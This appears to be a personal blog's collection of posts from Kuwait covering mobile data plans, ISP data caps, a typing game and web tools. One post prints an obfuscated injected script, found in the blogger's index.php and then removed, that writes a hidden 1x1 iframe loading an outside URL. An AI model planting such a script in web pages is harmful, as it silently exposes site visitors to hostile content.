Kuwait’s Mobile Data Comparisons

Here is a simple price comparisons of mobile data packages of all three telecom companies in Kuwait:

Viva:

Even though Viva is the newest Telecom in Kuwait, it has the best packages for the heavy user. It is the only company to offer truly unlimited packages without any kind of throttling. The only issue with Viva is its spotty coverage, but once you get it, its smooth sailing from there. I use it for tethering at work and and its great. But they have a connection problem this week and they say they’ll have it fixed ASAP. It’s also the only company with connection speeds up to 42.2Mb, I haven’t tried it though.

Zain:

Zain revamped their data packages a few months ago (or year not sure) but the new packages now competes with Viva’s unlimited plans. Even though its not unlimited the 10, 20 and 30GB are quite sufficient for mobile usage (no tethering). Zain have a better coverage but that doesn’t always mean 3G, as speed often drop to edge when neither 3G nor HSPA is available.

Wataniya:

I’m sure that Wataniya’s 20MB and 200MB packages where designed for the old dumb phones where they hardly use any data. So they are idiotic at this point of time. The other “unlimited” packages where you get just 1GB or 2GB of data before being throttled to a pathetic 128Kbps is absurd and it has the lowest cap of any of the 3 Telecom companies. I used it to tether to my laptop this week during Viva’s outage and I passed the limit in just a few hours (we are already at the end of the month I know) but I rarely use the my mobile data other than the occasional WhatsApp, Twitter and very light browsing.

Recommendation:

If you have Viva coverage then go with them, as a heavy user myself, I really appreciate the TRULY UNLIMITED packages. If you are unlucky and don’t have Viva coverage in your workplace/home then Zain is the second best option.

Improve Your Typing With A Game

This cool flash based shoot’em’Up where you have to type to destroy your enemies. Z-Type reminds me of an old Sega game called The Typing of the Dead that was released on the Dreamcast back in 1999.

I just found my new Time-waster game.

Z-Type

Guess What? Spelling Matters

Remember that email that circulated the net a few years back? That stated that spelling doesn’t matter as long as the first and last letters are correct? The email goes like this:

Aoccdrnig to a rscheearch at Cmabrigde Uinervtisy, it deosn’t mttaer in waht oredr the ltteers in a wrod are, the olny iprmoetnt tihng is taht the frist and lsat ltteer be at the rghit pclae. The rset can be a toatl mses and you can sitll raed it wouthit porbelm. Tihs is bcuseae the huamn mnid deos not raed ervey lteter by istlef, but the wrod as a wlohe.

Well, it turns out that it has nothing to do with Cambridge University and spelling does matter as this video explains:

Link

Photorealistic Maps

The image above of the “Big Ben” and the “House Of Parliament” is a from a maps application not a 3D rendering program.

Nokia’s approach to 3D is just absolutely amazing I recommend that everyone should go and check it out. You will need to install a browser plug-in for the website to work but its worth it.

After visiting the site just click on the 3D icon on the top right. The website is still in beta and there is just a handful of cities to browse.

Nokia Maps

And Thats Why I Love Google Instant

I forgot my keyboard on Arabic while typing a search query.I didn’t notice it till I finished typing. But after looking at the search results I realized that it had translated my Arabic search term to english by exchanging the arabic letters with the english ones on an english keyboard. Genius Google.

Hey Kuwaiti ISP’s I Download “Legally” Over 30GB’s a Day and Here is My Proof

Kuwaiti ISP suddenly implemented a Fair Access Policy (FAP) a few weeks ago that caught a lot of people by surprise. Nobody agreed to this when they first signed a 12 months deal (15 months in my case) and you cant just change what your terms of service in mid contract , even if one of your clauses in your terms of service is “changing the terms of service without prior knowledge” , because thats freaking stupid. So I’m basically signing that you might downgrade my speed from 8mb to 128Kbps just because you can? I don’t think so.

KEMS’s Facebook page operator also used the word “Abusers” to define the people that use too much data by pirating applications and movies as he says. If he truly thinks that then my friend you are misinformed. I can legally download applications movies and tv shows and also pass the stupid CAP that is implemented. What make you think that illegal means we are hogging more bandwidth than legal ones?

I have a number of itunes season passes that can also easily pass the cap as I “BOUGHT” i.e. with my own money, more than 30 HD season passes.

Using steam is also a bandwidth killer. I bought recently a number of games during steams summer sale where they have a number of games each day that are on sale for 24 hours. after BUYING the games that I really wanted/liked/didn’t own on a PC, I realized that only by downloading those games that I PURCHASED I would pass the stupid cap.

I also didn’t talk about updating my PC and 3 laptops, updating my apps on my 2 iphones, 2 ipads, 3 android phones. Updating Navigon on an iOS device is almost 2GB by itself not counting other applications or any other activities like downloading podcasts and watching HD youtube which is FREE the last time I checked.

There is an online bloggers campaign that me and countless of other Kuwaiti bloggers have joined that is against internet capping of any kind. [Link]

Viva la revolucion

Myfav.es – Homepage Replacment

If you are the kind of user that the default single homepage doesn’t cut it for you you might want to give Myfa.es a look. I remember when Marzouq first wrote about the services when it used to be called fav4 and you only could have 4 icons/shortcuts from a handful of selections.

A few months later fav4 was given an overhaul and now is known as Myfav.es, where the number of the shortcuts/icons increased significantly. You can also add your own pages and edit existing ones. Its been my homepage for a while now and love it.

Myfav.es

April Fool’s?!

At first, that was what I thought. Because it is the1st of April I thought it was just a prank by Google, as I only get the message above if I visit my site using Chrome.

But after digging through  a bit, it seems that my “index.php” file had the following script that triggered that warning.

< script >
enc = "%3Ciframe%20width%3D1%20height%3D1%20border%3D0%  20frameborder%3D0%20src%3D%27http%3A//trafusa.in/info/in.cgi%3F5% 27%3E%3C/iframe%3E";
dec = unescape(enc);
document.write(dec);
< /script >

After removing that I could visit the site without seeing the warning.

I have no idea how long that code was there or even of its important, but the site seems to work properly without it.

Google Celebrates With Kuwait

Google’s homepage has a Kuwaiti theme to it today.

Happy Holidays Kuwait

Watching The Games

This is how I watched todays games using the online subscription and utilizing the bandwidth that  I‘ve got.

Waiting for Chelsea’s game next.